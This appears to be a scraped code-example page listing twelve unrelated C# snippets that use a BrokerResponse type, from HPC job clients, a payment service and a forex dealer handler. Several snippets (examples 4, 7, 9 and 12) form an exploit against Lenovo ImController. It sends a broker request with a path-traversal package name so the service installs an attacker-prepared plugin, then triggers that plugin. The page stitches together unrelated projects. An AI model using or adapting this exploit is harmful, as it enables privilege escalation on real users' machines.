예제 #1
0
        private static void ResponseHandler(BrokerResponse<SayHelloResponse> response)
        {
            Console.WriteLine(response.Result.SayHelloResult);

            if (response.IsLastResponse)
            {
                Console.WriteLine("Complete. Press ENTER to exit...");
            }
        }
예제 #2
0
        public async Task <ActionResult <BrokerResponse> > ProcessPayment()
        {
            BrokerResponse response = new BrokerResponse();


            response = await _brokerBl.processData();

            return(Ok(response));
        }
예제 #3
0
파일: Utils.cs 프로젝트: umialpha/Telepathy
 public void ResponseHandler <T>(BrokerResponse <ComputeWithInputDataResponse> response)
 {
     lock (results)
     {
         try
         {
             if (commonData_Size > 0 && response.Result.ComputeWithInputDataResult.commonDataSize != commonData_Size)
             {
                 throw new Exception(string.Format("Common data is corrupted: expected: {0}, actual: {1}", commonData_Size, response.Result.ComputeWithInputDataResult.commonDataSize));
             }
             results.Add(Utils.CreateResultData(response.Result));
         }
         catch (WebException e)
         {
             if (e.Response is HttpWebResponse)
             {
                 HttpWebResponse httpresponse = e.Response as HttpWebResponse;
                 using (StreamReader reader = new StreamReader(httpresponse.GetResponseStream()))
                 {
                     Utils.Log("Unexpected WebException when client {0} sending requests: {1}", clientId, httpresponse.StatusCode, reader.ReadToEnd());
                 }
                 results.Add(Utils.CreateDummyResultData());
                 Interlocked.Increment(ref faultCalls);
             }
             else
             {
                 throw e;
             }
         }
         catch (RetryOperationException)
         {
             if (ignoreRetryOperationError)
             {
                 results.Add(Utils.CreateDummyResultData());
             }
             else
             {
                 throw;
             }
         }
         catch (Exception e)
         {
             Utils.Log(string.Format("Client {0}, Unexpected Exception happened: {1}", clientId, e.ToString()));
             results.Add(Utils.CreateDummyResultData());
             Interlocked.Increment(ref faultCalls);
         }
         if (response.IsLastResponse)
         {
             Utils.Log("Client {0}: All requests returned.", clientId);
             batchDone.Set();
         }
     }
 }
예제 #4
0
        private async Task <BrokerResponse> sendBrokerRequest(BrokerRequest brokerRequest)
        {
            string command = Serialize <BrokerRequest>(brokerRequest);

            Guid guid = await _deviceAgent.PutRequestAsync(command);

            BrokerResponse br = await GetFinalContractResponseAsync(guid, (func) => {
                return(true);
            }, CancellationToken.None);

            return(br);
        }
예제 #5
0
        public async Task <BrokerResponse> processData()
        {
            BrokerResponse response = new BrokerResponse();

            try
            {
                var qualities = _qualityDal.GetQuality();


                if (qualities[0].errorCount < qualities[1].errorCount)
                {
                    var res = await _ipInfoDal.getIPdetails(qualities[0]);

                    response.Country = res.Country;
                    response.City    = res.City;
                }
                else
                {
                    if (qualities[0].errorCount != qualities[1].errorCount)
                    {
                        var res = await _slowIpInfoDal.getIPdetails(qualities[1]);

                        response.Country = res.Country;
                        response.City    = res.City;
                    }
                    else
                    {
                        if (qualities[0].avgResponseTime < qualities[1].avgResponseTime)
                        {
                            var res = await _ipInfoDal.getIPdetails(qualities[0]);

                            response.Country = res.Country;
                            response.City    = res.City;
                        }
                        else
                        {
                            var res = await _slowIpInfoDal.getIPdetails(qualities[1]);

                            response.Country = res.Country;
                            response.City    = res.City;
                        }
                    }
                }
            }
            catch (Exception e)
            {
                //log exception
            }

            return(response);
        }
예제 #6
0
 public static BROKER_RESPONSE UndecorateBrokerResponse(BrokerResponse resp)
 {
     return(new BROKER_RESPONSE
     {
         ID = resp.Id,
         RequestID = resp.RequestId,
         Price = resp.Price,
         Swap = resp.Swap,
         Status = (int)resp.Status,
         RejectReason = resp.RejectReason == null
                            ? (int?)null
                            : (int)resp.RejectReason,
         RejectReasonString = resp.RejectReasonString,
         ValueDate = resp.ValueDate
     });
 }
예제 #7
0
        private async Task <BrokerResponse> GetResponseAsync(Guid taskId, Func <BrokerResponseTask, bool> responseReceivedHandler, CancellationToken cancelToken)
        {
            BrokerResponse brokerResponse = null;

            if (taskId == Guid.Empty)
            {
                throw new ArgumentException(string.Format("Invalid task ID provided: {0}", taskId));
            }
            Tuple <Guid, string> tuple = await _deviceAgent.WaitForResponseAsync(taskId, cancelToken);

            if (tuple == null && cancelToken.IsCancellationRequested)
            {
                throw new BrokerRequestAgentException(string.Format("CancelToken is canceled while waiting for response for task {0}: response pair is null", taskId))
                      {
                          ResponseCode = 408
                      };
            }
            if (tuple == null)
            {
                throw new BrokerRequestAgentException(string.Format("Invalid/Empty Broker Response provided for task {0}: response pair is null", taskId))
                      {
                          ResponseCode = 408
                      };
            }
            if (string.IsNullOrWhiteSpace(tuple.Item2))
            {
                throw new BrokerRequestAgentException(string.Format("Invalid/Empty Broker Response XML provided for task {0}", taskId))
                      {
                          ResponseCode = 408
                      };
            }
            try {
                brokerResponse = Serializer.Deserialize <BrokerResponse>(tuple.Item2);
            } catch (Exception) {
                Console.WriteLine("GetFinalContractResponseAsync exception on response deserialization. responsePair.Item2 = " + tuple.Item2.Length);
            }
            if (brokerResponse == null || brokerResponse.Task == null)
            {
                throw new BrokerRequestAgentException("Invalid broker response data")
                      {
                          ResponseCode = 409
                      };
            }
            return(brokerResponse);
        }
예제 #8
0
        private void doSubmit_ServiceCallback(BrokerResponse <ClusterTesterService.RunTaskResponse> response, object state)
        {
            string result;

            try
            {
                int[] r = response.Result.RunTaskResult;
                result = string.Format("Task: {0} - Runtime on node: {1}ms", r[0], r[2]); // Hardcoded fields to an array defined on the service - bad boy
            }
            catch (FaultException fex)
            {
                result = "Task failed: " + fex.ToString();
            }
            Console.WriteLine(result);

            if (response.IsLastResponse)
            {
                ((Semaphore)state).Release();
            }
        }
예제 #9
0
        private async Task <BrokerResponse> GetFinalContractResponseAsync(Guid taskId, Func <BrokerResponseTask, bool> responseReceivedHandler, CancellationToken cancelToken)
        {
            BrokerResponse brokerResponse = null;
            bool           final          = false;

            while (!final)
            {
                BrokerResponse brokerResponse2 = await GetResponseAsync(taskId, responseReceivedHandler, cancelToken);

                brokerResponse = brokerResponse2;
                bool flag = false;
                if (brokerResponse.Error != null && brokerResponse.Error.ResultCode != 0)
                {
                    flag = false;
                }
                if (!flag || brokerResponse.Task.IsComplete)
                {
                    final = true;
                }
            }
            await _deviceAgent.CloseTaskAsync(taskId);

            return(brokerResponse);
        }
예제 #10
0
        /// <summary>
        /// отдельный класс читает очередь сообщений от провайдеров
        /// каждый FIX-дилер получает сообщения своей группы
        /// </summary>
        public void ProcessExecutionReport(BrokerResponse response, BrokerOrder request)
        {
            Logger.InfoFormat("Запрос ({0}), ответ ({1})", request, response);
            requestWatchdog.OnRequestProcessed(response.RequestId);
            // сообщить клиенту об отказе обработать ордер
            // вынимаем ордер из базы
            MarketOrder order;
            int         orderId;

            if (request.ClosingPositionID != null && request.ClosingPositionID > 0)
            {
                orderId = (int)request.ClosingPositionID;
            }
            else
            {
                orderId = request.RequestId;
                Logger.InfoFormat("Запрос GetMarketOrder orderId={0} requestId={1}", orderId, request.RequestId);
            }
            Logger.InfoFormat("Запрос GetMarketOrder accountId={0}, orderId={1}", request.AccountID, orderId);
            var res = ServerInterface.GetMarketOrder(orderId, out order);

            if (res == false)
            {
                errorStorage.AddMessage(new ErrorMessage(DateTime.Now, ErrorMessageType.ОтказСервера,
                                                         string.Format("Дилер {0}: не найдена позиция ID={0} для обработка запроса [{1}]-[счет {2}, пара {3}]",
                                                                       request.RequestId, request.Id, request.AccountID, request.Instrument), null));
                ServerInterface.NotifyClientOnOrderRejected(order, "не найден ордер");
                return;
            }

            if (response.Status == OrderStatus.Отклонен)
            {
                var rejectReasonStr = string.IsNullOrEmpty(response.RejectReasonString)
                                          ? (response.RejectReason ?? OrderRejectReason.None).ToString()
                                          : response.RejectReasonString;
                ServerInterface.NotifyClientOnOrderRejected(order, rejectReasonStr);
                errorStorage.AddMessage(new ErrorMessage(DateTime.Now, ErrorMessageType.ОтказСервера,
                                                         string.Format("Дилер {0}: отказ сервера [{1}] на запрос [{2}]-[счет {3}, пара {4}]",
                                                                       DealerCode, rejectReasonStr, request.Id, request.AccountID, request.Instrument), null));
                return;
            }
            if (!response.Price.HasValue)
            {
                errorStorage.AddMessage(new ErrorMessage(DateTime.Now, ErrorMessageType.ОтказСервера,
                                                         string.Format("Дилер {0}: отказ сервера [нет цены] на запрос [{1}]-[счет {2}, пара {3}]",
                                                                       DealerCode, request.Id, request.AccountID, request.Instrument), null));
                ServerInterface.NotifyClientOnOrderRejected(order, "Нет цены");
                return;
            }
            var deltaMarkup = request.MarkupAbs * order.Side;

            // закрытие позиции - ордер обработан
            if (request.ClosingPositionID.HasValue)
            {
                var reason = exitReasonByOrderId.ReceiveValue(order.ID);
                // закрыть ордер немедленно
                ServerInterface.CloseOrder(order.ID, response.Price.Value - (decimal)deltaMarkup, reason);
                return;
            }

            // открытие позы - обработано
            order.TimeEnter  = response.ValueDate;
            order.PriceEnter = (float)response.Price.Value + deltaMarkup;
            order.State      = PositionState.Opened;
            ServerInterface.ModifyMarketOrder(order);
        }
예제 #11
0
 public ExecutionReport()
 {
     brokerResponse = new BrokerResponse();
 }
예제 #12
0
        public async void Exploit()
        {
            Console.WriteLine("[+] Preparing exploitable plugin package");
            PrepareFolders();

            Console.WriteLine("[+] Setting up requred BrokerResponseAgent");
            InstanceContainer instance = InstanceContainer.GetInstance();

            instance.RegisterInstance <IBrokerResponseAgent>(BrokerResponseAgent.GetInstance());
            instance.RegisterInstance <IPluginManager>(PluginManager.GetInstance());

            Console.WriteLine("[+] Setting up UDMF driver agent");
            _deviceAgent = DeviceDriverAgent.GetInstance();

            if (_deviceAgent == null)
            {
                Console.WriteLine("[!] Failed to get instance of UDMF driver agent, is this a Lenovo machine with ImController installed?");
                return;
            }

            BrokerRequest breq = new BrokerRequest();

            breq.Version                       = "1";
            breq.Authentication                = new BrokerAuthentication();
            breq.Authentication.Token          = "pwned";
            breq.BrokerRequirements            = new BrokerRequirements();
            breq.BrokerRequirements.MinVersion = "1";

            string contractRequestParameter = @"
                <InstallPendingRequest>
                    <PackageList>
                        <Package name=""..\..\..\LenovoAppScenarioPluginSystem""/> 
                    </PackageList>
                </InstallPendingRequest>";

            breq.ContractRequest = new ContractRequest {
                Command = new ContractCommandRequest {
                    Name        = "Install-PendingUpdates",
                    Parameter   = contractRequestParameter,
                    RequestType = "sync"
                },
                Name = "ImController"
            };

            Console.WriteLine("[+] Sending Install-PendingUpdates BrokerRequest");
            BrokerResponse br = await sendBrokerRequest(breq);

            if (br.Result != "Success")
            {
                Console.WriteLine("[!] Request for Install-PendingUpdates failed");
                return;
            }

            Console.WriteLine("[-] Waiting for plugin to install, this can take a few minutes");
            Thread.Sleep(5000);
            while (Directory.Exists(@"C:\ProgramData\Lenovo\ImController\Plugins\LenovoAppScenarioPluginSystem_"))
            {
                Thread.Sleep(1000);
            }
            Thread.Sleep(1000);

            Console.WriteLine("[+] Package delivered!");

            Console.WriteLine("[+] Making plugin request to trigger exploit");

            breq.ContractRequest = new ContractRequest {
                Command = new ContractCommandRequest {
                    Name        = "Get-TouchScreenState",
                    Parameter   = null,
                    RequestType = "sync"
                },
                Name = "SystemManagement.AppScenario.System"
            };

            br = await sendBrokerRequest(breq);

            Console.WriteLine("[+] Enjoy");
        }